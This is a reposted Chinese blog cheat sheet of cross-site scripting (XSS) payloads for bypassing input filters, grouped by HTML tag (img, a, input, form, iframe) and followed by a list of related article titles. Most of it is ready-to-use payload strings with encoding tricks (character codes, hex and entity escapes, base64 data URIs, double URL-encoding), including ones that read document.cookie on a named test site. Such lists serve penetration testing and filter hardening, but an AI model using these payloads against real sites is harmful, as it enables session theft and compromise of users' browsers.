原文链接:http://www.cnblogs.com/xiaozi/p/5588099.html#undefined

XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的一些标签,如<a><img>等。

参考链接:http://www.jb51.net/tools/xss.htm  http://d3adend.org/xss/ghettoBypass

';alert(String.fromCharCode(88,83,83))//
\';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
\";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<iframe src="http://www.baidu.com" height="250" width="300"></iframe>

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>

<script>alert(String.fromCharCode(88, 83, 83))</script>

<script>alert('xss')</script>

<p><svg οnlοad=prompt(/xss/)></p>   //遇到过这种情况

%253Csvg%2520onload%253Dprompt(/xss/)%253E  //<>=双层urlencode

在使用加号做字符串连接的时候,中间的js会被执行:

http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27

http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27

<img> 标签

XSS利用1:

<img src=javascript:alert('xss')>   //版本,E7.0|IE6.0,才能执行<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  //版本,E7.0|IE6.0,才能执行
<img src="URL" style='Xss:expression(alert(/xss/));'>  //版本,E7.0|IE6.0,才能执行

CSS标记XSS

<img STYLE="background-image:url(javascript:alert('XSS'))">  //版本,E7.0|IE6.0,才能执行

CSS样式表的标记进行XSS转码

<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">   //版本,E7.0|IE6.0,才能执行

XSS利用2:

<img src="x" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> //可以不加"和;
原code:
<img src="x" οnerrοr="alert(1)">

<img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  //必须要有双引号,不然执行不了

原code:

<img src="1" οnerrοr=eval("alert('xss')")></img> //可以去掉双引号

XSS利用3:

<img src=1 οnerrοr=alert('xss')>

<img src=1 οnmοuseοver=alert('xss') a1=1111>

<a> 标签

标准格式:

<a href="http://www.baidu.com">百度</a>

XSS利用1:<a href="javascript:alert('xss')">2</a>  //可以去掉双引号

<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>   //不能去掉双引号<a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>2</a>  //可以去掉双引号原code:
<a href=javascript:eval("alert('xss')")>2</a><a href="javascript:aaa" οnmοuseοver="alert(/xss/)">22222222</a>
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">2</a><a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a>原code:
<a href="javascript:alert('xss')">2</a>
xss利用2:<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64编码,在谷歌浏览器可以成功解析<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a>原code:
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=<script>alert('xss')</script>

XSS利用3:<a href="" οnclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">aaaaa</a>   //可以去掉双引号和;原code:<a href="" οnclick="alert(1)">aaaaa</a><a href="" οnclick=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>aaaaa</a> <a href="" οnclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a>   //单引号和双引号都可以<a href="" οnclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaaaa</a>  //可以成功弹窗,如果在url地址栏输入的时候,要进行urlenode编码原code:eval("alert('xss')")

<a href="#" οnclick=alert(‘\170\163\163’)>test3</a>  //可以成功执行

原code:

<a href="#" οnclick=alert('xss')>test3</a>

XSS利用4:<a href=kycg.asp?ttt=1000 οnmοuseοver=prompt(123) y=2016>2</a>   //可以实现弹窗

<input> 标签

一般格式:<INPUT name="name" value="">

<input value="" οnclick="alert(11)" type="text"> 
<INPUT name="name" value="01/01/1967" οnmοuseοver=prompt(971874) bad="">

<INPUT name="name" value=""><script>alert(123)</script>

小技巧:

当XSS遇到input hidden属性

1、使用expression突破

1
<input type=hidden style=`x:expression(alert(/xss/))`>

直接利用CSS的expression属性来实现突破,此技巧适用于IE6及以下的浏览器。

2​、使用accesskey突破

<input type="hidden" accesskey="X" οnclick="alert(/xss/)">

插入之后,使用ALT+SHIFT+X快捷键来触发XSS,此方法我在firefox下面测试通过,其它浏览器尚未可知。

类似这种span标签在网页无触发点,也可以这样子用。

<span id="span"  recieveurl='xxxeId=1' accesskey='X' οnclick='alert(/xss/)' bad=''></span>

<form> 标签

<form method=Post action=kycg.asp?ttt=1000 οnmοuseοver=prompt(962613) y=&enddate=2016 > #action后面直接空格
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action=javascript:alert('xss') > 
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action=1 οnmοuseοver=alert(123) bbb=111 > 
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

<iframe> 标签

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> 

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>     //谷歌浏览器下实现弹窗<iframe src=1 οnmοuseοver=alert('xss') y=2016 /><iframe> <iframe src="javascript&colon;prompt&lpar;`xss`&rpar;;" frameborder="0" width="100%" height="1120px"></iframe> //遇到的有点特别<iframe src="vbscript:msgbox(123)"></iframe>

XSS跨站脚本小结(转)相关推荐

  1. XSS跨站脚本攻击剖析与防御笔记

    读书笔记,希望某位小伙伴用得上 第一章XSS初探 1.概念:Cross-Site Scripting简称XSS,是由于WEB应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意脚本注入到网站 ...

  2. 渗透知识-XSS跨站脚本攻击

    XSS跨站脚本攻击:两种情况.一种通过外部输入然后直接在浏览器端触发,即反射型XSS:还有一种则是先把利用代码保存在数据库或文件中,当web程序读取利用代码并输出在页面上时触发漏洞,即存储型XSS.D ...

  3. [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)

    这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步.前文分享了Python弱口令攻击.自定义字典生成,并构建了Web目录扫描器:本文将 ...

  4. xss跨站脚本攻击_网络安全xss跨站脚本攻击原理

    以下在未经授权的网站操作均为违法行为 XSS跨站脚本攻击 xss的危害 网络钓鱼,盗取各类账号密码 我们先来看一下下面的案例:先来记住一下下面中的表 我们来做一个转发 上面页面显示已经登录,但是突然页 ...

  5. 遭遇 XSS 跨站脚本攻击?稳住,这些方法可保你渡劫 | 附代码、图解

    作者 | 杨秀璋 责编 | 夕颜 出品 | CSDN博客 本文将详细讲解XSS跨站脚本攻击,从原理.示例.危害到三种常见类型(反射型.存储型.DOM型),并结合代码示例进行详细讲解,最后分享了如何预防 ...

  6. Web十大安全隐患之XSS跨站脚本

    上次提到的是sql注入,算是较大的安全隐患,今天我们来介绍另外一种较为严重的安全隐患--XSS跨站脚本攻击. 首先咱们来说什么是跨站脚本攻击.它的英文叫"CrossSite Scriptin ...

  7. XSS(跨站脚本攻击)漏洞解决方案

    XSS(跨站脚本攻击)漏洞解决方案 参考文章: (1)XSS(跨站脚本攻击)漏洞解决方案 (2)https://www.cnblogs.com/boboxing/p/9261996.html 备忘一下 ...

  8. XSS 跨站脚本攻击 的防御解决方案

    XSS 跨站脚本攻击 的防御解决方案 参考文章: (1)XSS 跨站脚本攻击 的防御解决方案 (2)https://www.cnblogs.com/suwings/p/6285340.html 备忘一 ...

  9. 《XSS跨站脚本攻击剖析与防御》—第6章6.1节参 考 文 献

    本节书摘来自异步社区<XSS跨站脚本攻击剖析与防御>一书中的第6章6.1节参 考 文 献,作者邱永华,更多章节内容可以访问云栖社区"异步社区"公众号查看. 参 考 文 ...

  10. XSS(跨站脚本攻击)相关内容总结整理

    XSS的攻击相关资料整理 文章目录 XSS的攻击相关资料整理 跨站脚本攻击(XSS) XSS 简介 XSS 危害 XSS 原理 XSS 分类 XSS 防御总结 XSS 问答 参考资料 跨站脚本攻击(X ...

最新文章

  1. Fragment的运用实列
  2. python读取excel文件-python读取excel文件
  3. PAT甲级1086 Tree Traversals Again:[C++题解]二叉树中序序列、栈、求后序遍历
  4. python画图标题为蓝色_python绘制语谱图怎么设置成黄蓝色
  5. java小_Java小知识点总结
  6. 从 0.99999... = 1 到芝诺悖论
  7. 二叉树三种遍历非递归算法
  8. 实战:node-react项目部署到服务器
  9. Ubuntu 20.04 安装 Google 拼音输入法
  10. 建筑工地人脸识别门禁通道闸机如何安装
  11. CSS3 3D立体旋转
  12. ORACLE等待事件相关
  13. SlackwareLinux安装速成班(转)
  14. FigDraw 13. SCI 文章绘图之桑葚图及文章复现(Sankey)
  15. 北京邮电大学计算机学院考研夏令营,北京邮电大学理学院2021年保研夏令营活动通知...
  16. 全景探秘游戏设计艺术 笔记
  17. 定积分解题的一些特殊方法习题
  18. 俞永福:UC乐园2年内要给合作伙伴分成1亿元
  19. 提升电脑开机速度,解决大部分开机缓慢问题
  20. Python爬虫获取东财沪深A股当天收盘后的详细数据(量化投资一)

热门文章

  1. Android系统源代码情景分析
  2. flash与CPU连接及flash属性描述文件
  3. matlab 切割图像像素,matlab – 使用图形切割与种子点的图像分割
  4. 技校毕业计算机应用技术,技校计算机应用毕业生自我鉴定
  5. pythonp2p网络_python Socket网络编程实现C/S模式和P2P
  6. CSS3——CSS行内元素和块级元素的转换
  7. Futter基础第18篇: 实现调用原生时间选择器、日期选择器、时间戳、Future异步
  8. python中使用Opencv进行人脸检测
  9. 线程通过实现Runnable接口和继承Thread方法的区别
  10. Visual Studio 2017 编译Clang